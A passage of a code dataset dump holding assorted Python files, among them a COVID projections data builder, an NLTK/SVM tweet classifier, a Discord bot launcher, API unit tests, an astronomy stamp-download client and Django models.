listIps)\r\n\t\ts.sendto(data, clientAddress)","sub_path":"Server.py","file_name":"Server.py","file_ext":"py","file_size_in_byte":2331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"201553823","text":"class Query:\n\n @classmethod\n def find_by_name(cls, otherClass, name):\n for object in otherClass.all():\n if object.name == name:\n return object\n else:\n return 'there is no one named {}' .format(name)\n\n @classmethod\n def count (cls, otherClass):\n totalcount= len(otherClass.all())\n return totalcount\n\n @classmethod\n def name_starts_with (cls, otherClass, initial):\n return [object for object in otherClass.all() if object.name.startswith(initial)]\n\n @classmethod\n def is_older_than(cls, otherClass, age):\n return [object for object in otherClass.all() if object.age > age]\n\n @classmethod\n def mean_age(cls, otherClass):\n totalcount= len(otherClass.all())\n list_of_ages=[object.age for object in otherClass.all()]\n combined_ages=sum(list_of_ages)\n meanage = combined_ages / totalcount\n return meanage\n","sub_path":"query.py","file_name":"query.py","file_ext":"py","file_size_in_byte":951,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"480369228","text":"import pandas as pd\nimport numpy as np\nimport requests\nimport datetime\nimport os.path\nimport pprint\nimport shapefile\nimport simplejson\nimport statistics\nimport logging\nimport math, sys\n\nfrom urllib.parse import urlparse\nfrom collections import defaultdict\n\nfrom libs.CovidDatasets import get_public_data_base_url\nfrom libs.us_state_abbrev import US_STATE_ABBREV, us_fips\nfrom libs.datasets import FIPSPopulation\nfrom libs.datasets import JHUDataset\nfrom libs.enums import Intervention\nfrom libs.functions.calculate_projections import (\n get_state_projections_df,\n get_county_projections_df,\n)\nfrom libs.datasets.projections_schema import OUTPUT_COLUMN_REMAP_TO_RESULT_DATA\nfrom libs.datasets.results_schema import (\n RESULT_DATA_COLUMNS_STATES,\n RESULT_DATA_COLUMNS_COUNTIES,\n)\nfrom libs.constants import NULL_VALUE\n\n_logger = logging.getLogger(__name__)\n\n\ndef _get_interventions_df():\n # TODO: read this from a dataset class\n interventions_url = \"https://raw.githubusercontent.com/covid-projections/covid-projections/master/src/assets/data/interventions.json\"\n interventions = requests.get(interventions_url).json()\n return pd.DataFrame(list(interventions.items()), columns=[\"state\", \"intervention\"])\n\n\ndef _get_abbrev_df():\n # TODO: read this from a dataset class\n return pd.DataFrame(\n list(US_STATE_ABBREV.items()), columns=[\"state\", \"abbreviation\"]\n )\n\n\ncounty_replace_with_null = {\"Unassigned\": NULL_VALUE}\n\n\ndef _get_usa_by_county_df():\n # TODO: read this from a dataset class\n latest_path = JHUDataset.latest_path()\n _logger.info(f\"Loading latest JHU data from {latest_path}\")\n raw_df = pd.read_csv(latest_path, dtype={\"FIPS\": str})\n raw_df[\"FIPS\"] = raw_df[\"FIPS\"].astype(str).str.zfill(5)\n\n column_mapping = {\n \"Province_State\": \"Province/State\",\n \"Country_Region\": \"Country/Region\",\n \"Last_Update\": \"Last Update\",\n \"Lat\": \"Latitude\",\n \"Long_\": \"Longitude\",\n \"Combined_Key\": \"Combined Key\",\n \"Admin2\": \"County\",\n \"FIPS\": \"State/County FIPS Code\",\n }\n remapped_df = raw_df.rename(columns=column_mapping)\n\n # USA only\n us_df = remapped_df[(remapped_df[\"Country/Region\"] == \"US\")]\n jhu_column_names = [\n \"Province/State\",\n \"Country/Region\",\n \"Last Update\",\n \"Latitude\",\n \"Longitude\",\n \"Confirmed\",\n \"Recovered\",\n \"Deaths\",\n \"Active\",\n \"County\",\n \"State/County FIPS Code\",\n \"Combined Key\",\n # Incident rate and people tested do not seem to be available yet\n # \"Incident Rate\",\n # \"People Tested\",\n ]\n final_df = pd.DataFrame(us_df, columns=jhu_column_names)\n final_df[\"Last Update\"] = pd.to_datetime(final_df[\"Last Update\"])\n final_df[\"Last Update\"] = final_df[\"Last Update\"].dt.strftime(\"%-m/%-d/%Y %H:%M\")\n\n final_df[\"County\"] = final_df[\"County\"].replace(county_replace_with_null)\n final_df[\"Combined Key\"] = final_df[\"Combined Key\"].str.replace(\"Unassigned, \", \"\")\n final_df = final_df.fillna(NULL_VALUE)\n final_df = final_df.drop_duplicates(\n \"State/County FIPS Code\"\n ) # note this is a hack, 49053 is dupped in JHU data :(\n final_df.index.name = \"OBJECTID\"\n # assert unique key test\n assert final_df[\"Combined Key\"].value_counts().max() == 1\n assert final_df[\"State/County FIPS Code\"].value_counts().max() == 1\n\n return final_df\n\n\ndef get_usa_by_county_with_projection_df(input_dir, intervention_type):\n us_only = _get_usa_by_county_df()\n fips_df = FIPSPopulation.local().data # used to get interventions\n interventions_df = _get_interventions_df()\n projections_df = get_county_projections_df(\n input_dir, intervention_type, interventions_df\n )\n\n counties_decorated = (\n us_only.merge(\n projections_df,\n left_on=\"State/County FIPS Code\",\n right_on=\"FIPS\",\n how=\"inner\",\n )\n .merge(fips_df[[\"state\", \"fips\"]], left_on=\"FIPS\", right_on=\"fips\", how=\"inner\")\n .merge(interventions_df, left_on=\"state\", right_on=\"state\", how=\"inner\")\n )\n\n counties_remapped = counties_decorated.rename(\n columns=OUTPUT_COLUMN_REMAP_TO_RESULT_DATA\n )\n counties = pd.DataFrame(counties_remapped, columns=RESULT_DATA_COLUMNS_COUNTIES)\n counties = counties.fillna(NULL_VALUE)\n counties.index.name = \"OBJECTID\"\n # assert unique key test\n\n if counties[\"Combined Key\"].value_counts().max() != 1:\n raise Exception(f\"counties['Combined Key'].value_counts().max() = {counties['Combined Key'].value_counts().max()}, at input_dir {input_dir}.\")\n return counties\n\n\ndef get_usa_by_states_df(input_dir, intervention_type):\n\n us_only = _get_usa_by_county_df()\n abbrev_df = _get_abbrev_df()\n interventions_df = _get_interventions_df()\n projections_df = get_state_projections_df(\n input_dir, intervention_type, interventions_df\n )\n\n states_group = us_only.groupby([\"Province/State\"])\n states_agg = states_group.aggregate(\n {\n \"Last Update\": \"max\",\n \"Confirmed\": \"sum\",\n \"Recovered\": \"sum\",\n \"Deaths\": \"sum\",\n \"Active\": \"sum\",\n \"Country/Region\": \"first\",\n \"Latitude\": \"first\",\n \"Longitude\": \"first\"\n # People tested is currently null\n #'People Tested': 'sum'\n }\n )\n\n # basically the states_agg has full state names, the interventions have abbreviation so we need these to be merged\n states_abbrev = (\n states_agg.merge(abbrev_df, left_index=True, right_on=\"state\", how=\"left\")\n .merge(\n # inner merge to filter to only the 50 states\n interventions_df,\n left_on=\"abbreviation\",\n right_on=\"state\",\n how=\"inner\",\n )\n .merge(projections_df, left_on=\"state_y\", right_on=\"State\", how=\"left\")\n .drop([\"abbreviation\", \"state_y\", \"State\"], axis=1)\n )\n\n states_remapped = states_abbrev.rename(columns=OUTPUT_COLUMN_REMAP_TO_RESULT_DATA)\n\n states_final = pd.DataFrame(states_remapped, columns=RESULT_DATA_COLUMNS_STATES)\n states_final = states_final.fillna(NULL_VALUE)\n states_final[\"Combined Key\"] = states_final[\"Province/State\"]\n states_final[\"State/County FIPS Code\"] = states_final[\"Province/State\"].map(us_fips)\n\n states_final.index.name = \"OBJECTID\"\n # assert unique key test\n assert states_final[\"Combined Key\"].value_counts().max() == 1\n\n return states_final\n\n\n# us_only = _get_usa_by_county_df()\n# us_only.to_csv(\"results/counties.csv\")\n\n# states_final = get_usa_by_states_df()\n# states_final.to_csv('results/states.csv')\n","sub_path":"libs/build_processed_dataset.py","file_name":"build_processed_dataset.py","file_ext":"py","file_size_in_byte":6697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"107757901","text":"import os\nimport time\nfrom string import punctuation\n\nimport nltk\nimport pandas as pd\n# from gensim.models import Word2Vec\nfrom nltk.corpus import stopwords\nfrom nltk.tokenize import word_tokenize\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.svm import SVC\n\nnltk.download('stopwords')\nnltk.download('punkt')\nos.listdir(\".\")\n\nstop_words = set(stopwords.words('english'))\ntable = str.maketrans('', '', punctuation)\n\n\n# print(stop_words)\n# print(punctuation)\n# print(table)\n\n\ndef textclean(text):\n tokens = word_tokenize(text)\n # print(tokens)\n tokens = [word for word in tokens if word.isalpha()]\n # print(tokens)\n tokens = [w.translate(table) for w in tokens]\n # print(tokens)\n tokens = [word for word in tokens if word not in stop_words]\n # print(tokens)\n tokens = [word for word in tokens if len(word) > 1]\n return tokens\n\n\nsentence = \"Line that shows when sentence is converted to list of words. Isn't it cool\"\n# print(textclean(sentence))\n\n\nsentiment_dictionary = {0: 'negative', 2: 'neutral', 4: 'positive'}\n\ndf = pd.read_excel('dataset3.xlsx').reset_index(drop=True).iloc[:1000]\n\ndf = df[[0, 5]]\ndf.columns = ['label', 'tweet']\nprint(df.head())\n\nX_train, X_test, y_train, y_test = train_test_split(df[['tweet']], df[['label']])\n\nprint(X_train.shape)\nprint(y_train.shape)\nprint(X_test.shape)\nprint(y_test.shape)\n\ntweets = []\nfor i in range(len(X_train)):\n words = X_train.iloc[i]['tweet']\n sentiment = y_train.iloc[i]['label']\n words_filtered = [e.lower() for e in words.split() if len(e) >= 3]\n tweets.append((words_filtered, sentiment_dictionary[sentiment]))\n\nfor current_tweet, sentiment in tweets[:5]:\n print(current_tweet, sentiment)\n\n\ndef get_words_in_tweets(tweets):\n all_words = []\n for (words, sentiment) in tweets:\n all_words.extend(words)\n return all_words\n\n\ndef get_word_features(wordlist):\n wordlist = nltk.FreqDist(wordlist)\n word_features = wordlist.keys()\n return word_features\n\n\nword_features = get_word_features(get_words_in_tweets(tweets))\n\n\ndef extract_features(document):\n document_words = set(document)\n features = {}\n for word in word_features:\n features['contains(%s)' % word] = (word in document_words)\n return features\n\n\ntraining_set = nltk.classify.apply_features(extract_features, tweets)\n\na = time.time()\nclassifier = nltk.classify.SklearnClassifier(SVC(kernel='linear'))\nclassifier.train(training_set)\n\nprint(time.time() - a)\n\na = time.time()\npredicted = classifier.classify_many([extract_features(tweet.split()) for tweet in X_test['tweet']])\n\ny_pred = []\nfor fr in predicted:\n if fr == 'negative':\n y_pred.append(0)\n else:\n y_pred.append(4)\n\ny_true = list(y_test.values)\nprint(accuracy_score(y_true, y_pred))\nprint(time.time() - a)\n","sub_path":"final_SVM.py","file_name":"final_SVM.py","file_ext":"py","file_size_in_byte":2857,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"306738599","text":"from flask import Flask, url_for\nfrom flask.ext.login import LoginManager\nimport os\n\napp = Flask(__name__, static_folder='static')\napp.config.update(\n\tDEBUG = True,\n\tSQLALCHEMY_DATABASE_URI = 'sqlite:///database.db',\n\tSECRET_KEY = 'something secret'\n)\n\nlogin_manager = LoginManager()\nlogin_manager.session_protection = 'strong'\nlogin_manager.login_view = 'index_view'\nlogin_manager.init_app(app)\n\nfrom app import routes","sub_path":"app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"18196800","text":"#!/usr/bin/env python3\nimport sys\nDEBUG = len(sys.argv) > 1\n\nimport random\n# 64 bits of randomness\nCUR = random.randrange(2**(8*64)).to_bytes(64,'little')\n\ndouble_stopper = \"DzvBotMain.pid\"\n\nimport os\ndef chdir():\n d = os.path.split(__file__)[0]\n if d: os.chdir(d)\nchdir()\nprint(\"Current Directory Set To:\",os.getcwd())\nif not os.path.exists(double_stopper): \n with open(double_stopper, \"wb\") as f: f.write(CUR)\n\nimport mmap\nmmapfile = open(double_stopper, \"r+b\")\nMM = mmap.mmap(mmapfile.fileno(), 0)\nMM[:64] = CUR\n# if the MM doesnt equal CUR anymore that means someone else started running\n\ndef checkConstants(cfile=\"constants.py\"):\n if os.path.exists(cfile): return\n print(\"Go to https://discordapp.com/developers/applications/me and get the ClientID and Token\")\n ClientID = input(\"ClientID: \")\n Token = input(\"Token: \")\n with open(cfile,\"w\") as f: f.write(\"ClientID = '%s'\\nToken = '%s'\"%(ClientID,Token))\ncheckConstants()\n\nfrom constants import ClientID,Token\n\nimport discord\nimport asyncio\nimport commands\n\n__doc__ = '''https://discordapp.com/oauth2/authorize?&client_id=%s&scope=bot&permissions=11328'''%ClientID\n\nclient = discord.Client()\n@client.event\nasync def on_message(message):\n if MM[:64] != CUR:\n await client.logout()\n return\n\n if message.author.bot or message.author == client.user: return\n\n if DEBUG:\n global M\n M = message\n\n # If I was mentioned you want me to do something\n if (client.user.mentioned_in(message) and client.user in message.mentions) or message.channel.is_private:\n if DEBUG: print(message.clean_content)\n await commands.command(client,message)\n else: # If not mentioned I might react c;\n await commands.react(client,message)\n sys.stdout.flush()\n\nfrom threading import Thread\n# I dont run it directly cause I don't trust it to die on SIGTERM\nt = Thread(target = lambda: client.run(Token), daemon=True)\nt.start()\nsys.stdout.flush()\nif DEBUG:\n print(__doc__)\n from discord.utils import find # when you have a list of stuff to look through use find to find stuff for you\n RUN = client.loop.create_task # A lot of coroutines cant be run directly. Use this to run them\nelse:\n t.join()\n if MM[:64] == CUR: # if ended of own volition (aka error killed the thread)\n MM[:] = b\"\\x00\"*len(MM[:])\nmmapfile.close()","sub_path":"DzvBotMain.py","file_name":"DzvBotMain.py","file_ext":"py","file_size_in_byte":2353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"438151469","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n@version: $\n@author: zhuzhenping\n@contact: zhuzhenping@hikvision.com\n@site: \n@software: PyCharm\n@file name: updateFields.py\n@created time: 2017/3/27 20:01\nDescription:对已有的某条数据进行更改，实现纠正错误的功能\n\"\"\"\n\nimport unittest\nfrom TestCaseWorkspace.common import tools\nimport random\nimport json\nimport time\n\nrequestUrl = tools.getConfYaml(\"url\",\"url_8580\")\n\n\ncss = tools.bcolors\n\ndateELASTIC = {\n \"rowKey\" : \"\",\n}\n\ndateELASTIC_old = {\n \"rowKey\" : \"\",\n}\n\ndateELASTIC_1 = {\n\n}\n\nrequestDateJson ={\n 'ws:updateFields': { # 是否必填\n 'fieldJson' : \"\" # Y\t纠错参数，格式为json\n }\n}\n\n\n#Description:对已有的某条数据进行更改，实现纠正错误的功能\nclass updateFields(unittest.TestCase):\n\n def setUp(self):\n pass\n\n #fieldJson为空时,非法值时\n def test_001(self):\n #{\"rowKey\":\"20150380800101_dc71bdf7cffc4690a328f03faa62220c\",\"brand\":3}\n #requestDateJson[\"ws:updateFields\"][\"fieldJson\"] = (dateELASTIC)\n for requestJson in [\"\",\"[]\",\"{}\",0,\"-1\"]:\n requestDateJson[\"ws:updateFields\"][\"fieldJson\"]=requestJson\n response =tools.requests_xml(requestUrl,requestDateJson)\n resp = tools.getresReturn(response,\"updateFields\")\n resp = json.loads(resp)\n #判断状态查询状态\n self.assertEquals(resp[\"ret\"],\"-1\")\n\n #fieldJson字段仅包含rowKey时\n def test_002(self):\n requestDateJson[\"ws:updateFields\"][\"fieldJson\"]='{\"rowKey\":\"20150380800101_dc71bdf7cffc4690a328f03faa62220c\"}'\n response =tools.requests_xml(requestUrl,requestDateJson)\n resp = tools.getresReturn(response,\"updateFields\")\n resp = json.loads(resp)\n #判断状态查询状态\n self.assertEquals(resp[\"ret\"],\"-1\")\n self.assertEquals(resp[\"msg\"],\"0\")\n\n #fieldJson字段不包含纠错字段（只有纠错字段，或者包含时间戳字段时）\n def test_003(self):\n for requestJson in ['{\"brand\":3}','{\"timestamp_\":\"1475924635925\",}','{\"timestamp_\":\"1475924635925\",\"brand\":3}','{\"timestamp_\":\"1475924635925\",\"brand\":3,\"things\":7}']:\n requestDateJson[\"ws:updateFields\"][\"fieldJson\"]=requestJson\n response =tools.requests_xml(requestUrl,requestDateJson)\n resp = tools.getresReturn(response,\"updateFields\")\n resp = json.loads(resp)\n #判断状态查询状态\n self.assertEquals(resp[\"ret\"],\"-1\")\n self.assertEquals(resp[\"msg\"],\"查询失败\")\n\n\n #@@@失败项原因：纠错功能接口中传入修改的参数值，通过UDE反查发现修改未生效\n #随机选取UDE中某一数据，更新部分字段。重新读取判断更新是否成功\n def test_004(self):\n #获取随机选择2016100600-2016101300时间段内某一数据，获取其rowkey值\n resp = tools.requests_Getapi(\"http://hdh8:9200/hik_smart_metadata-2016100600-2016101300/_search\",\"get\")\n if len(resp[\"hits\"][\"hits\"])>0:\n dateELASTIC_old[\"rowKey\"] = resp[\"hits\"][\"hits\"][random.randint(0,9)][\"_source\"][\"rowKey\"]\n #通过rowkey值反查数据属性及其对应参数值\n resp = tools.requests_Posttext(\"http://hdh8:4848/SqlServlet\",'sql=select * from HIK_SMART_METADATA where rowKey=\"{0}\"'.format(dateELASTIC_old[\"rowKey\"]))\n resp = json.loads(resp)\n #将查询到的数据保存至dateELASTIC_old （固定五个属性值）\n dateELASTIC_old[resp[\"result\"][\"fields\"][4]] = resp[\"result\"][\"rows\"][0][\"row\"][4] #plate\n dateELASTIC_old[resp[\"result\"][\"fields\"][9]] = resp[\"result\"][\"rows\"][0][\"row\"][9] #bag\n dateELASTIC_old[resp[\"result\"][\"fields\"][27]] = 2 #brand\n dateELASTIC_old[resp[\"result\"][\"fields\"][32]] = resp[\"result\"][\"rows\"][0][\"row\"][32] #hat\n dateELASTIC_old[resp[\"result\"][\"fields\"][59]] = resp[\"result\"][\"rows\"][0][\"row\"][59] #glass\n #print(\"dateELASTIC_old:\",dateELASTIC_old)\n #修改数据属性值，并保存在dateELASTIC中\n dateELASTIC[\"plate\"] = dateELASTIC_old[\"plate\"]+\"1\"\n dateELASTIC[\"bag\"] = dateELASTIC_old[\"bag\"]+\"1\"\n dateELASTIC[\"brand\"] = dateELASTIC_old[\"brand\"]+1\n dateELASTIC[\"hat\"] = dateELASTIC_old[\"hat\"]+\"1\"\n dateELASTIC[\"glass\"] = dateELASTIC_old[\"glass\"]+\"1\"\n dateELASTIC[\"rowKey\"] = dateELASTIC_old[\"rowKey\"]\n\n dateELASTIC_new = json.dumps(dateELASTIC)\n #print(\"dateELASTIC_new:\",dateELASTIC_new)\n #使用接口更新数据\n requestDateJson[\"ws:updateFields\"][\"fieldJson\"]=dateELASTIC_new\n response =tools.requests_xml(requestUrl,requestDateJson)\n resp = tools.getresReturn(response,\"updateFields\")\n resp = json.loads(resp)\n #根据接口返回结果判断状态\n self.assertEquals(resp[\"ret\"],\"0\")\n self.assertEquals(resp[\"msg\"],\"更新成功\")\n self.assertEquals(resp[\"data\"],\"更新成功\")\n #二次查询数据属性值\n resp = tools.requests_Posttext(\"http://hdh8:4848/SqlServlet\",'sql=select * from HIK_SMART_METADATA where rowKey=\"{0}\"'.format(dateELASTIC_old[\"rowKey\"]))\n resp = json.loads(resp)\n #将获取到的数据属性值，重新保存在dateELASTIC中\n dateELASTIC_1[resp[\"result\"][\"fields\"][4]] = resp[\"result\"][\"rows\"][0][\"row\"][4] #plate\n dateELASTIC_1[resp[\"result\"][\"fields\"][9]] = resp[\"result\"][\"rows\"][0][\"row\"][9] #bag\n dateELASTIC_1[resp[\"result\"][\"fields\"][27]] = 2 #brand\n dateELASTIC_1[resp[\"result\"][\"fields\"][32]] = resp[\"result\"][\"rows\"][0][\"row\"][32] #hat\n dateELASTIC_1[resp[\"result\"][\"fields\"][59]] = resp[\"result\"][\"rows\"][0][\"row\"][59] #glass\n #将二次获取属性值与老数据进行对比\n #print(\"dateELASTIC_1\",dateELASTIC_1)\n for i in [\"plate\",\"bag\",\"brand\",\"hat\",\"glass\"]:\n self.assertNotEqual(str(dateELASTIC[i])==str(dateELASTIC_new[i]))\n\n\nif __name__ == '__main__':\n unittest.main() ","sub_path":"TestCaseWorkspace/Datafile_Case/VSP_/Version_1.0.2/IHSRNetWebService8580/updateFields.py","file_name":"updateFields.py","file_ext":"py","file_size_in_byte":6138,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"221442162","text":"# This is a demo to read a file\n\nfilename = \"text.txt\"\n\nwith open(filename) as file:\n content = file.readlines()\n print(content)\n\ndestination = \"summer holiday at beach\"\nmySlice = destination[0:6]\nprint(mySlice)\n\nimport time\n\ntimenow = time.localtime(time.time())\n# print(timenow)\n\ntimeIs = time.asctime()\nprint(timeIs)\n\ntimeIs = time.ctime()\nprint(timeIs)\n\ntry:\n open(\"tet.txt\")\nexcept:\n print(\"File not found\")\n","sub_path":"LanguageBasics/readingFiles.py","file_name":"readingFiles.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"500810124","text":"import ray\nimport argparse\n\nfrom env.inventory_env import InventoryManageEnv\nfrom env.inventory_utils import Utils\nfrom scheduler.inventory_random_policy import ProducerBaselinePolicy, BaselinePolicy\n\nfrom scheduler.inventory_eoq_policy import ConsumerEOQPolicy as ConsumerBaselinePolicy\n\nfrom config.inventory_config import env_config\nfrom utility.visualization import visualization\n\n\nfrom scheduler.inventory_dqn_baseline import ConsumerDQNTorchPolicy\nfrom scheduler.Trainer import Trainer\nimport numpy as np\nimport os\nfrom utility.tensorboard import TensorBoard\nfrom scheduler.forecasting_model import Forecasting_model\n\n# Configuration ===============================================================================\n\nforecast_mode_config_default = {\n \"hist_len\": 21,\n \"fore_len\": 3,\n \"batch_size\": 128,\n \"training_steps\": 10000,\n \"evaluation_steps\": 200,\n \"train_round\": 50,\n\n}\n\ndef train_forecasting_model(args):\n if not os.path.exists('train_log'):\n os.mkdir('train_log')\n writer = TensorBoard(f'train_log/{args.run_name}')\n print(\" == start training forecasting model ==\")\n forecast_config = forecast_mode_config_default.copy()\n forecast_model = Forecasting_model(forecast_config)\n for i in range(forecast_config['train_round']):\n eval_loss = forecast_model.eval_one_round(forecast_config['evaluation_steps'])\n train_loss = forecast_model.train_one_round(forecast_config['training_steps'])\n\n print(f\"round {i}\")\n print(f\"train_loss: max: {np.max(train_loss):13.6f} mean: {np.mean(train_loss):13.6f} min: {np.min(train_loss):13.6f}\")\n print(f\"eval_loss: max: {np.max(eval_loss):13.6f} mean: {np.mean(eval_loss):13.6f} min: {np.min(eval_loss):13.6f}\")\n writer.add_scalar('ztrain/train_loss', np.mean(train_loss), i)\n writer.add_scalar('ztrain/eval_loss', np.mean(eval_loss), i)\n forecast_model.eval_all(f'train_log/{args.run_name}')\n return forecast_model\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--torch\", action=\"store_true\")\nparser.add_argument(\"--batch-size\", type=int, default=2048)\nparser.add_argument(\"--use-prev-action-reward\", action=\"store_true\")\nparser.add_argument(\"--num-iterations\", type=int, default=1000)\nparser.add_argument(\"--visualization-frequency\", type=int, default=100)\nparser.add_argument(\"--run-name\", type=str, default='1223_forecasting_hid32_sigmoid_2layer_train_more')\n\nif __name__ == \"__main__\":\n args = parser.parse_args()\n train_forecasting_model(args)\n\n","sub_path":"RLPolicy/inventory_train_forecasting.py","file_name":"inventory_train_forecasting.py","file_ext":"py","file_size_in_byte":2512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"213875225","text":"from braces.views import LoginRequiredMixin\nfrom django.core.exceptions import PermissionDenied\nfrom django.shortcuts import (\n get_object_or_404,\n redirect\n)\n\nfrom contacts.models import (\n Book,\n BookOwner,\n)\n\n\nclass BookOwnerMixin(LoginRequiredMixin):\n\n def get_queryset(self):\n if self.kwargs.get('book'):\n try:\n bookowner = BookOwner.objects.get(\n user=self.request.user,\n book_id=self.kwargs.get('book'),\n )\n return self.model.objects.for_user(\n self.request.user, book=bookowner.book,\n )\n except BookOwner.DoesNotExist:\n pass\n return self.model.objects.for_user(self.request.user)\n\n def get_object(self, queryset=None):\n instance = super(BookOwnerMixin, self).get_object(queryset)\n\n if not instance.can_be_viewed_by(self.request.user):\n raise PermissionDenied\n\n return instance\n\n def form_valid(self, form):\n form.instance.book = BookOwner.objects.get(\n user=self.request.user\n ).book\n response = super(BookOwnerMixin, self).form_valid(form)\n\n return response\n","sub_path":"contacts/views/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"153648641","text":"import warnings\nimport gzip\nimport io\nfrom .utils import Client\nfrom astropy.io.fits import HDUList\nfrom astropy.io.fits import open as fits_open\nfrom urllib.error import HTTPError\nfrom alerce.search import AlerceSearch\nfrom alerce.exceptions import CandidError\n\n\nclass AlerceStamps(Client):\n search_client = AlerceSearch()\n\n def __init__(self, **kwargs):\n default_config = {\n \"AVRO_URL\": \"https://avro.alerce.online\",\n \"AVRO_ROUTES\": {\"get_stamp\": \"/get_stamp\", \"get_avro\": \"/get_avro\"},\n }\n default_config.update(kwargs)\n super().__init__(**default_config)\n\n def _in_ipynb(self):\n try:\n from IPython import get_ipython\n import os\n\n if \"IPKernelApp\" not in get_ipython().config: # pragma: no cover\n raise ImportError(\"console\")\n return False\n if \"VSCODE_PID\" in os.environ: # pragma: no cover\n raise ImportError(\"vscode\")\n return False\n except Exception as e:\n return False\n else: # pragma: no cover\n return True\n\n def _get_first_detection(self, oid):\n detections = self.search_client.query_detections(oid, format=\"pandas\")\n first_detection = detections[detections.has_stamp].candid.astype(\"int64\").min()\n try:\n first_detection = int(first_detection)\n except TypeError:\n raise CandidError()\n return first_detection\n\n def plot_stamps(self, oid, candid=None):\n \"\"\"\n Plot stamp in a notebook given oid. It uses IPython HTML.\n\n Parameters\n ----------\n oid : :py:class:`str`\n object ID in ALeRCE DBs.\n candid : :py:class:`int`\n Candid of the stamp to be displayed.\n\n Returns\n -------\n Display the stamps on a jupyter notebook.\n \"\"\"\n if not self._in_ipynb():\n warnings.warn(\"This method only works on Notebooks\", RuntimeWarning)\n return\n\n if candid is None:\n candid = self._get_first_detection(oid)\n\n from IPython.display import HTML\n\n science = \"%s?oid=%s&candid=%s&type=science&format=png\" % (\n self.config[\"AVRO_URL\"] + self.config[\"AVRO_ROUTES\"][\"get_stamp\"],\n oid,\n candid,\n )\n template = science.replace(\"science\", \"template\")\n difference = science.replace(\"science\", \"difference\")\n images = \"\"\"\n
    ZTF oid: %s, candid: %s
    \n
         \n Science\n             \n Template\n             \n Difference\n
    \n
    \n
    \n
    \n
    \n \"\"\" % (\n oid,\n candid,\n science,\n template,\n difference,\n )\n display(HTML(images))\n\n def get_stamps(self, oid, candid=None, format=\"HDUList\"):\n \"\"\"Download Stamps for an specific alert.\n\n Parameters\n ----------\n oid : :py:class:`str`\n object ID in ALeRCE DBs.\n candid : :py:class:`int`\n Candid of the stamp to be displayed.\n format : :py:class: `str`\n Output format [HDUList|numpy]\n\n Returns\n -------\n Science, Template and Difference stamps for an specific alert.\n \"\"\"\n if candid is None:\n candid = self._get_first_detection(oid)\n try:\n stamp_types = [\"science\", \"template\", \"difference\"]\n stamp_list = []\n for stamp_type in stamp_types:\n url = \"%s?oid=%s&candid=%s&type=%s&format=fits\" % (\n self.config[\"AVRO_URL\"] + self.config[\"AVRO_ROUTES\"][\"get_stamp\"],\n oid,\n candid,\n stamp_type,\n )\n\n http_response = self.session.request(\"GET\", url)\n\n with gzip.open(io.BytesIO(http_response.content), \"rb\") as f:\n tmp_hdulist = fits_open(\n io.BytesIO(f.read()), ignore_missing_simple=True\n )\n\n stamp_list.append(tmp_hdulist[0])\n\n if format == \"HDUList\":\n hdulist = HDUList()\n for stamp, stamp_type in zip(stamp_list, stamp_types):\n stamp.header[\"STAMP_TYPE\"] = stamp_type\n hdulist.append(stamp)\n return hdulist\n elif format == \"numpy\":\n return [stamp.data.copy() for stamp in stamp_list]\n except HTTPError:\n warnings.warn(\"AVRO File not found.\", RuntimeWarning)\n return None\n\n def get_avro(self, oid, candid=None):\n \"\"\"Download avro of some alert.\n\n Parameters\n ----------\n oid : :py:class:`str`\n object ID in ALeRCE DBs.\n candid : :py:class:`int`\n Candid of the avro to be downloaded.\n\n Returns\n -------\n Avro of a given alert.\n \"\"\"\n if candid is None:\n candid = self._get_first_detection(oid)\n try:\n url = self.config[\"AVRO_URL\"] + self.config[\"AVRO_ROUTES\"][\"get_avro\"]\n params = {\"oid\": oid, \"candid\": candid}\n http_response = self.session.request(\"GET\", url, params=params)\n return http_response.content\n except HTTPError:\n warnings.warn(\"AVRO File not found.\", RuntimeWarning)\n return None\n","sub_path":"alerce/stamps.py","file_name":"stamps.py","file_ext":"py","file_size_in_byte":5812,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"384683446","text":"from django.conf import settings\nfrom django.core.validators import MinValueValidator, MaxValueValidator\nfrom django.db import models\nimport datetime\n\nfrom django.db.models.signals import pre_save\n\nfrom localomddata.models.commonFields import CommonFields\nfrom localomddata.models.product import Product\nfrom localomddata.models.slot import Slot\n\n\nclass OrderMainManager(models.Manager):\n def submitted(self, *args, **kwargs):\n return super(OrderMainManager, self).filter(status='0')\n def finished(self):\n return super(OrderMainManager, self).filter(status='2')\n def byOrderNo(self, *args):\n return super(OrderMainManager, self).filter(orderNo=args[0])\n\n\n\npredicateDict = {\n \"OrderMain.slot\": \"orders\", \"OrderMain.user\": \"orders\"\n}\nPayType = {\n (\"0\", \"现金\"), (\"1\", \"会员\"),(\"3\",\"微信\"),(\"4\", \"支付宝\")\n}\nStatus = {\n (\"0\", \"已提交\"), (\"1\", \"已支付\"),(\"2\", \"已完成\")\n}\n\n\ndef createOrderNo(instance):\n thisday = datetime.date.today();\n orderPrefix = '{:02d}'.format(thisday.month)+'{:02d}'.format(thisday.day)\n qs = OrderMain.objects.filter(orderNo__startswith=orderPrefix).order_by(\"-orderNo\")\n if qs.exists():\n orderNo = \"%s\" % (int(qs.first().orderNo) + 1)\n else:\n orderNo = orderPrefix + '0000'\n return 